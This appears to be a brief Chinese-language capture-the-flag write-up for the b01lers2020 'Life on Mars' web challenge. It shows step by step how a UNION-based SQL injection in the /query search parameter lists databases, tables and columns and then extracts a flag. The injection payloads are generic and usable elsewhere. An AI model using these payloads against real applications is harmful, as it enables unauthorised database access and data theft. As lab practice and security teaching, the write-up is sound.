[b01lers2020]Life on Mars

/

点击左侧条目会发出请求

/query?search=<name>

通过访问/query路由能够获取到包含对应地区生物信息的json

尝试对search进行SQL注入

/query?search=amazonis_planitia union select 1, 2

/query?search=amazonis_planitia union select 1, database()

aliens

/query?search=amazonis_planitia union select 1, group_concat(schema_name) from information_schema.schemata

information_schema,alien_code,aliens

/query?search=amazonis_planitia union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'alien_code'

code

/query?search=amazonis_planitia union select 1, group_concat(column_name) from information_schema.columns where table_name = 'code'

id,code

/query?search=amazonis_planitia union select 1, group_concat(id) from alien_code.code

0

/query?search=amazonis_planitia union select 1, group_concat(code) from alien_code.code

flag{481d123d-ab78-45f1-a82d-506efe39483a}

#Web #SQL注入 #联合注入